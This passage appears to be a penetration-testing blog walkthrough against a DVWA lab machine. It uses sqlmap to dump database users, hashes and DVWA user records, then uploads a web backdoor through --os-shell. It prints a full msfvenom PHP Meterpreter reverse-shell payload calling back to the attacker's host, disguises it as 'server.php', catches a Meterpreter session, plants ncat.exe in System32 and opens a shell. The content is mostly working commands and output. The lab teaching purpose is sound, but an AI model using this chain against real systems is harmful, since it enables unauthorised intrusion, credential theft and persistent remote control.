    role: SHUTDOWN
    role: SUPER
    role: TRIGGER
    role: UPDATE
[*] 'root'@'::1' (administrator) [28]:
    role: ALTER
    role: ALTER ROUTINE
    role: CREATE
    role: CREATE ROUTINE
    role: CREATE TABLESPACE
    role: CREATE TEMPORARY TABLES
    role: CREATE USER
    role: CREATE VIEW
    role: DELETE
    role: DROP
    role: EVENT
    role: EXECUTE
    role: FILE
    role: INDEX
    role: INSERT
    role: LOCK TABLES
    role: PROCESS
    role: REFERENCES
    role: RELOAD
    role: REPLICATION CLIENT
    role: REPLICATION SLAVE
    role: SELECT
    role: SHOW DATABASES
    role: SHOW VIEW
    role: SHUTDOWN
    role: SUPER
    role: TRIGGER
    role: UPDATE
[*] 'root'@'localhost' (administrator) [28]:
    role: ALTER
    role: ALTER ROUTINE
    role: CREATE
    role: CREATE ROUTINE
    role: CREATE TABLESPACE
    role: CREATE TEMPORARY TABLES
    role: CREATE USER
    role: CREATE VIEW
    role: DELETE
    role: DROP
    role: EVENT
    role: EXECUTE
    role: FILE
    role: INDEX
    role: INSERT
    role: LOCK TABLES
    role: PROCESS
    role: REFERENCES
    role: RELOAD
    role: REPLICATION CLIENT
    role: REPLICATION SLAVE
    role: SELECT
    role: SHOW DATABASES
    role: SHOW VIEW
    role: SHUTDOWN
    role: SUPER
    role: TRIGGER
    role: UPDATE

[12:52:16] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.0.108'

[*] ending @ 12:52:16 /2020-06-24/

With the above, we are able to infer who are the users of this system based on the query we made for privileges. However, let's confirm the users via "--users". 

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --dbms="MySQL" --random-agent --users
<... truncated for brevity ...>
---
[12:59:59] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[12:59:59] [INFO] fetching database users
database management system users [5]:
[*] ''@'localhost'
[*] 'pma'@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'::1'
[*] 'root'@'localhost'

[12:59:59] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.0.108'

[*] ending @ 12:59:59 /2020-06-24/

Let's now look at grabbing the passwords via "--password". Let's also remove the "--batch" option. This allows us to now interact with SQLMap.

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --dbms="MySQL" --batch --random-agent --passwords

<... truncated for brevity ...>


[13:04:08] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[13:04:09] [INFO] fetching database users password hashes
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] 
[13:04:27] [WARNING] no clear password(s) found
database management system users password hashes:
[*] pma [1]:
    password hash: NULL
[*] root [1]:
    password hash: NULL

[13:04:27] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.0.108'

[*] ending @ 13:04:27 /2020-06-24/

Let's now look at the tables within the various databases.

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --dbms="MySQL" --batch --tables

---
[13:17:56] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[13:17:56] [INFO] fetching database names
[13:17:56] [INFO] fetching tables for databases: 'dvwa, information_schema, mysql, nowasp, performance_schema, phpmyadmin, test'                                                                                                                        
Database: dvwa
[2 tables]
+----------------------------------------------------+
| guestbook                                          |
| users                                              |
+----------------------------------------------------+

Database: information_schema
[78 tables]
+----------------------------------------------------+
| ALL_PLUGINS                                        |
| APPLICABLE_ROLES                                   |
<.... truncated for brevity .... >
| STATISTICS                                         |
| TABLES                                             |
+----------------------------------------------------+

Database: mysql
[34 tables]
+----------------------------------------------------+
| db                                                 |
| event                                              |
| user                                               |
<.... truncated for brevity .... >
| time_zone_transition                               |
| time_zone_transition_type                          |
+----------------------------------------------------+

Database: nowasp
[13 tables]
+----------------------------------------------------+
| accounts                                           |
| balloon_tips                                       |
| blogs_table                                        |
<.... truncated for brevity .... >
| user_poll_results                                  |
| youtubevideos                                      |
+----------------------------------------------------+

Database: performance_schema
[52 tables]
+----------------------------------------------------+
| accounts                                           |
| cond_instances                                     |
| events_stages_current                              |
<.... truncated for brevity .... >
| users                                              |
+----------------------------------------------------+

Database: phpmyadmin
[19 tables]
+----------------------------------------------------+
| pma__bookmark                                      |
| pma__central_columns                               |
<.... truncated for brevity .... >
| pma__users                                         |
+----------------------------------------------------+

[13:17:57] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.0.108'

[*] ending @ 13:17:57 /2020-06-24/

While the information above is truncated, you can see we have basically dumped all the tables from the various databases. We can now focus on a specific table structure by executing "-D" for the specific database and "-T" for the specific table and "--column" 

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --batch --dbms="MySQL" --random-agent -D dvwa -T users --columns

---
[13:29:19] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[13:29:19] [INFO] fetching columns for table 'users' in database 'dvwa'
Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column       | Type        |
+--------------+-------------+
| password     | varchar(32) |
| user         | varchar(15) |
| avatar       | varchar(70) |
| failed_login | int(3)      |
| first_name   | varchar(15) |
| last_login   | timestamp   |
| last_name    | varchar(15) |
| user_id      | int(6)      |
+--------------+-------------+

[13:29:19] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.0.108'

[*] ending @ 13:29:19 /2020-06-24/

Let's now read all records within the "users" table within the "dvwa" database via "--sql-query".

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --batch --dbms="MySQL" --random-agent -D dvwa --sql-query="select * from users"

<.... truncated for brevity ....>

---
[13:33:52] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[13:33:52] [INFO] fetching SQL SELECT statement query output: 'select * from users'
[13:33:52] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column names itself
[13:33:52] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) columns
[13:33:52] [INFO] fetching current database
[13:33:52] [INFO] fetching columns for table 'users' in database 'dvwa'
[13:33:52] [INFO] the query with expanded column name(s) is: SELECT `password`, `user`, avatar, failed_login, first_name, last_login, last_name, user_id FROM users
select * from users [5]:
[*] 5f4dcc3b5aa765d61d8327deb882cf99, admin, http://localhost/DVWA/hackable/users/admin.jpg, 0, admin, 2018-02-05 01:58:15, admin, 1
[*] e99a18c428cb38d5f260853678922e03, gordonb, http://localhost/DVWA/hackable/users/gordonb.jpg, 0, Gordon, 2018-02-05 01:58:15, Brown, 2
[*] 8d3533d75ae2c3966d7e0d4fcc69216b, 1337, http://localhost/DVWA/hackable/users/1337.jpg, 0, Hack, 2018-02-05 01:58:15, Me, 3
[*] 0d107d09f5bbe40cade3de5c71e9e9b7, pablo, http://localhost/DVWA/hackable/users/pablo.jpg, 0, Pablo, 2018-02-05 01:58:15, Picasso, 4
[*] 5f4dcc3b5aa765d61d8327deb882cf99, smithy, http://localhost/DVWA/hackable/users/smithy.jpg, 0, Bob, 2018-02-05 01:58:15, Smith, 5

[13:33:52] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.0.108'

[*] ending @ 13:33:52 /2020-06-24/

With the information returned above, we can crack the passwords using another tool or simply copy and paste them into crackstation.net.

At this point, there are many other things for us to do, such as reading and writing of files, etc. However, let's attempt to gain access to the underlying operating system via the "--os-shell" command.

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --dbms="MySQL" --random-agent -D dvwa --os-shell

<.... Truncated for brevity ....>
---
[13:42:17] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[13:42:17] [INFO] going to use a web backdoor for command prompt
[13:42:17] [INFO] fingerprinting the back-end DBMS operating system
[13:42:18] [INFO] the back-end DBMS operating system is Windows
which web application language does the web server support?
[1] ASP (default)
[2] ASPX
[3] JSP
[4] PHP

From above, we select "[4] PHP"

do you want sqlmap to further try to provoke the full path disclosure? [Y/n] 
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] 
[13:43:20] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 4

Next I selected a brute force search to upload the file to grant us shell. As can be seen below, various locations are being tried and the files were ultimately uploaded.

use any additional custom directories [Enter for None]: 
[13:49:55] [WARNING] unable to automatically parse any web server path
[13:49:55] [INFO] trying to upload the file stager on '/xampp/' via LIMIT 'LINES TERMINATED BY' method
[13:49:55] [WARNING] unable to upload the file stager on '/xampp/'
[13:49:55] [INFO] trying to upload the file stager on '/xampp/' via UNION method
[13:49:55] [WARNING] expect junk characters inside the file as a leftover from UNION query
[13:49:55] [INFO] the remote file '/xampp/tmpufnkt.php' is larger (701 B) than the local file '/tmp/sqlmaptm_zmipy4631/tmpdhp84kj_' (700B)                                                                                                  ...
[15:52:35] [INFO] trying to upload the file stager on '/xampp/htdocs/' via LIMIT 'LINES TERMINATED BY' method
[15:52:35] [INFO] the file stager has been successfully uploaded on '/xampp/htdocs/' - http://10.0.0.108:80/tmpuevkq.php
[15:52:36] [INFO] the backdoor has been successfully uploaded on '/xampp/htdocs/' - http://10.0.0.108:80/tmpbfkst.php
[15:52:36] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER

os-shell> 

.... above we see the "os-shell>" and "the file stager has been successfully uploaded on '/xampp/htdocs/' - http://10.0.0.108:80/tmpuevkq.php".

Testing the shell we see:

BREAK          Sets or clears extended CTRL+C checking.
BCDEDIT        Sets properties in boot database to control boot loading.
CACLS          Displays or modifies access control lists (ACLs) of files.
CALL           Calls one batch program from another.
CD             Displays the name of or changes the current directory.
CHCP           Displays or sets the active code page number.
CHDIR          Displays the name of or changes the current directory.
CHKDSK         Checks a disk and displays a status report.
CHKNTFS        Displays or modifies the checking of disk at boot time.
CLS            Clears the screen.
CMD            Starts a new instance of the Windows command interpreter.
< ... truncated for brevity .... >
VOL            Displays a disk volume label and serial number.
XCOPY          Copies files and directory trees.
WMIC           Displays WMI information inside interactive command shell.

For more information on tools see the command-line reference in the online help.
---
os-shell> 

Looking at the processes on the system via "wmic process list brief"

os-shell> wmic process list brief
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
---
HandleCount  Name                       Priority  ProcessId  ThreadCount  WorkingSetSize  
0            System Idle Process        0         0          2            8192            
1974         System                     8         4          99           139264          
52           smss.exe                   11        312        2            987136          
<.... Truncated for brevity .... >   
276          taskhostw.exe              8         1732       4            17592320        
193          svchost.exe                8         5576       4            7356416         
62           cmd.exe                    8         4332       2            3862528         
108          conhost.exe                8         4996       3            10129408        
192          WMIC.exe                   8         5076       6            11042816        
157          WmiPrvSE.exe               8         6520       9            8593408 
....

Look at the user on the system.

---
os-shell> wmic useraccount
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
---
AccountType  Caption                             Description                                                                                      Disabled  Domain           FullName  InstallDate  LocalAccount  Lockout  Name                PasswordChangeable  PasswordExpires  PasswordRequired  SID                                           SIDType  Status    
512          SECURITYNIK-WIN\Administrator       Built-in account for administering the computer/domain                                           FALSE     SECURITYNIK-WIN                         TRUE          FALSE    Administrator       TRUE                FALSE            TRUE              S-1-5-21-3846991316-327138358-508696823-500   1        OK        
512          SECURITYNIK-WIN\DefaultAccount      A user account managed by the system.                                                            TRUE      SECURITYNIK-WIN                         TRUE          FALSE    DefaultAccount      TRUE                FALSE            FALSE             S-1-5-21-3846991316-327138358-508696823-503   1        Degraded  
512          SECURITYNIK-WIN\Guest               Built-in account for guest access to the computer/domain                                         TRUE      SECURITYNIK-WIN                         TRUE          FALSE    Guest               FALSE               FALSE            FALSE             S-1-5-21-3846991316-327138358-508696823-501   1        Degraded  
512          SECURITYNIK-WIN\SecurityNik                                                                                                          FALSE     SECURITYNIK-WIN                         TRUE          FALSE    SecurityNik         TRUE                FALSE            FALSE             S-1-5-21-3846991316-327138358-508696823-1002  1        OK        
512          SECURITYNIK-WIN\Toronto                                                                                                              FALSE     SECURITYNIK-WIN                         TRUE          FALSE    Toronto             TRUE                TRUE             TRUE              S-1-5-21-3846991316-327138358-508696823-1005  1        OK        
512          SECURITYNIK-WIN\WDAGUtilityAccount  A user account managed and used by the system for Windows Defender Application Guard scenarios.  TRUE      SECURITYNIK-WIN                         TRUE          FALSE    WDAGUtilityAccount  TRUE                TRUE             TRUE              S-1-5-21-3846991316-327138358-508696823-504   1        Degraded  

---

Grab "systeminfo "

os-shell> systeminfo
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
---

Host Name:                 SECURITYNIK-WIN
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.16299 N/A Build 16299
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
...
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              \SECURITYNIK-WIN
Hotfix(s):                 2 Hotfix(s) Installed.
                           [01]: KB4053577
                           [02]: KB4054517
Network Card(s):           2 NIC(s) Installed.
                           [01]: Microsoft KM-TEST Loopback Adapter
                                 Connection Name: Npcap Loopback Adapter
                                 DHCP Enabled:    Yes
                                 DHCP Server:     255.255.255.255
                                 IP address(es)
                                 [01]: 169.254.149.255
                                 [02]: fe80::18f0:70a4:4f2c:95ff
                           [02]: Intel(R) PRO/1000 MT Desktop Adapter
                                 Connection Name: Ethernet 2
                                 DHCP Enabled:    Yes
                                 DHCP Server:     10.0.0.100
                                 IP address(es)
                                 [01]: 10.0.0.108
                                 [02]: fe80::a858:9eed:630a:53f7
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

With the information above, we can consider the additional devices in the network to pivot to.

There are other cool things we can do with "wmic" in this "os-shell". However, let's transition back to our attacking machine and use the penetration tester's favourite tool to make things more interesting.

Let's start off with "msfvenom". In my example, I redirect the output to a file call named "tmp.php"

kali@securtynik:~$ msfvenom --payload php/meterpreter/reverse_tcp LHOST=10.0.0.107 LPORT=4443 --format raw --smallest > tmp.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1111 bytes

If I "cat" the file "tmp.php", we see:

kali@securtynik:~$ cat tmp.php 
/*<?php /**/ error_reporting(0); $ip = '10.0.0.107'; $port = 4443; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

We now have to remove the "/*" from the beginning of the file. You can simply open the file in your favourite editor to remove those two characters. For me I will use the "cut --characters" to cut out the first 2 characters and keep everything else. I then redirect that output to a file named "server.php". With that name I hope to blend in.

kali@securtynik:~$ cat tmp.php | cut --characters 3- > server.php
kali@securtynik:~$ cat server.php 
<?php /**/ error_reporting(0); $ip = '10.0.0.107'; $port = 4443; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

Next we load up "msfconsole" and configure the "multi/handler"

msf5 > use multi/handler

msf5 exploit(multi/handler) > set LHOST 10.0.0.107
LHOST => 10.0.0.107
msf5 exploit(multi/handler) > set LPORT 4443
LPORT => 443
msf5 exploit(multi/handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp

Verify all is good to go.

msf5 exploit(multi/handler) > show options
Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.0.107       yes       The listen address (an interface may be specified)
   LPORT  4443              yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

Start the listening process by executing "exploit"

msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.0.0.107:4443 

Verify the port is listening on our local system.

kali@securtynik:~$ sudo ss --numeric --listening --tcp --process
sudo: unable to resolve host securtynik: Temporary failure in name resolution
State         Recv-Q        Send-Q               Local Address:Port                 Peer Address:Port        Process        
LISTEN        0             256                     10.0.0.107:4443                      0.0.0.0:*            users:(("ruby",pid=3354,fd=9))

Looks like we are good to go.

Now that it seems we have our attacking environment setup, let's now revisit our stager which was uploaded earlier when we got the "os-shell". The stager is hosted at "http://10.0.0.108:80/tmpuevkq.php" as we see earlier.

If we now open our browser and paste that URL, we see:


I then clicked browse and selected my "server.php" script.

Then uploaded the script


Now let's execute our script.


At this point, if we now transition to our "msfconsole", we see 

msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.0.0.107:4443 
[*] Sending stage (38288 bytes) to 10.0.0.108
[*] Meterpreter session 1 opened (10.0.0.107:4443 -> 10.0.0.108:6375) at 2020-06-24 17:03:23 -0400

meterpreter > 

Looks like we successfully got the session. Execute "sysinfo"

meterpreter > sysinfo 
Computer    : SECURITYNIK-WIN
OS          : Windows NT SECURITYNIK-WIN 10.0 build 16299 (Windows 10) i586
Meterpreter : php/windows

At this point, we can now upload additional tools. Here I upload ncat.exe 
meterpreter > upload ncat.exe c:\\windows\\system32\\
[*] uploading  : ncat.exe -> c:\windows\system32\
[*] uploaded   : ncat.exe -> c:\windows\system32\\ncat.exe

Before we go, let's grab a shell.

meterpreter > shell
Process 3864 created.
Channel 6 created.
Microsoft Windows [Version 10.0.16299.125]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Windows\System32>

I leave it to your imagination, what you do from here on. I will close off this post and see you in the log analysis post.